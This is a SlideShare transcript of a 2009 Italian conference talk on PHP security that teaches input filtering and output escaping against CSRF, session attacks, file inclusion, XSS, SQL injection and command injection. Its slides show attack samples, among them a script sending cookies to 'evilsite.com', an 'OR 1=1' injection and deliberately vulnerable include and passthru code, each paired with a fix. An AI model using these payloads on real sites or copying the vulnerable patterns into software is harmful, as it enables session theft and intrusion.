• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Phpcon2009 Php e Sicurezza
 

Phpcon2009 Php e Sicurezza

on

  • 1,489 views

 

Statistics

Views

Total Views
1,489
Views on SlideShare
1,482
Embed Views
7

Actions

Likes
1
Downloads
18
Comments
0

3 Embeds 7

http://www.linkedin.com 4
http://www.slideshare.net 2
http://www.slideee.com 1

Accessibility

Categories

Upload Details

Uploaded via as OpenOffice

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Phpcon2009 Php e Sicurezza Phpcon2009 Php e Sicurezza Presentation Transcript

    • PHP e sicurezza Roma, 19 marzo 2009 Massimiliano Arione
    • Sull'autore
      • Sviluppatore PHP dal 2001
      • Esperienza pluriennale in una importante web agency, ora freelance
      • PHP5 Zend Certified Engineer
      PHP e sicurezza - Massimiliano Arione
    • La sicurezza
      • Caratteristica vs. misura
      • Ricetta vs. strategie
      • Fiducia nel “sistema” vs. responsabilità
      • Fiducia nell'utente vs. sfiducia nell'utente
      PHP e sicurezza - Massimiliano Arione
    • Le due strategie fondamentali
      • FILTER INPUT
      • ESCAPE OUTPUT
      PHP e sicurezza - Massimiliano Arione
    • Input: che cos'è?
      • $_GET, $_POST, $_REQUEST
      • $_COOKIE, $_SESSION
      • $_SERVER
      PHP e sicurezza - Massimiliano Arione
    • Filtri basilari di una form - 1 <form method=”post”> Username: <input type=”text” name=”username” /> Password: <input type=”password” name=”password” /> Country: <select name=”country”> <option value=”IT”>Italy</option> <option value=”FR”>France</option> <option value=”DE”>Germany</option> <!-- etc... --> </select> <input type=”submit” /> </form> PHP e sicurezza - Massimiliano Arione
    • Filtri basilari di una form - 2 $clean = array(); if (ctype_alpha($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['password'])) { $clean['password'] = $_POST['password']; } if (in_array($_POST['country'], $countries) { $clean['country'] = $_POST['country']; } PHP e sicurezza - Massimiliano Arione
    • Cross-Site Request Forgery (CSRF) Sfrutta la fiducia dell'applicazione nell'utente <form action=”checkout” method=”get”> <input type=”text” name=”isbn” /> <input type=”text” name=”qty” /> <input type=”submit” value=”checkout” /> </form> <img src=”checkout.php?isbn=0973862149&qty=2” /> PHP e sicurezza - Massimiliano Arione
    • Protezione da CSRF $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; <form action=”checkout” method=”get”> <!-- etc... -> <input type=”hidden” name=”token” value=”<?php echo $token ?>” /> </form> if (isset($_SESSION['token']) && isset($_GET['token']) && $_SESSION['token'] == $_GET['token']) { // etc... } PHP e sicurezza - Massimiliano Arione
    • Session fixation L'utente viene indotto a cliccare su un link con id di sessione preconfezionata: <a href=”index.php?PHPSESSID=12345”>click</a> soluzione: session_start(); if (authenticate()) { session_regenerate_id(); } PHP e sicurezza - Massimiliano Arione
    • Session hijacking L'id di sessione dell'utente viene in qualche modo indovinata Soluzione: $_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT']; if ($_SESSION['ua'] != $_SERVER['HTTP_USER_AGENT']) { exit; } PHP e sicurezza - Massimiliano Arione
    • Remote code injection Un utente invia come parametro una URL esterna index.php?section=news include 'includes/' . $_GET['section'] . '.php'; Soluzione: $clean['section'] = in_array($_GET['section'], $sections) ? $_GET['section'] : 'home'; include 'includes/' . $clean['section'] . '.php'; PHP e sicurezza - Massimiliano Arione
    • URL guessing Un utente sostituisce l'id che vede nella URL con uno diverso message.php?id=42 Soluzione: $message = getMessage($clean['id']); if ($message->getUserId() != $_SESSION['user_id']) { exit; } PHP e sicurezza - Massimiliano Arione
    • Output: che cos'è?
      • echo
      • Query SQL
      • Comandi shell
      PHP e sicurezza - Massimiliano Arione
    • Cross-Site Scripting (XSS) Sfrutta la fiducia dell'utente nell'applicazione <script>document.location = 'http://evilsite.com?cookies=' + document.cookie;</script> Stored o unstored Soluzione: htmlentities() PHP e sicurezza - Massimiliano Arione
    • SQL injection $sql = 'SELECT * FROM user WHERE username='' . $_POST['username'] . '' AND password='' . $_POST['password'] . '''; $_POST['username'] = '' OR 1=1 --'; Soluzioni: mysql_escape_string() PDO prepared statements: $stmt->bindParam(':username', $clean['username'];
    • Command injection $files = passthru('grep -lr ' . $_POST['str'] . ' *'); Soluzione: escapeshellcmd() escapeshellarg() PHP e sicurezza - Massimiliano Arione
    • Hosting condivisi
      • safe_mode deprecato (non ci sarà più in PHP6)
      • open_basedir
      • disable_functions
      • disable_classes
      PHP e sicurezza - Massimiliano Arione
    • Tips
      • display_errors in dev, log_errors in produzione
      • Test
      • MVC
      PHP e sicurezza - Massimiliano Arione
    • Domande? ? PHP e sicurezza - Massimiliano Arione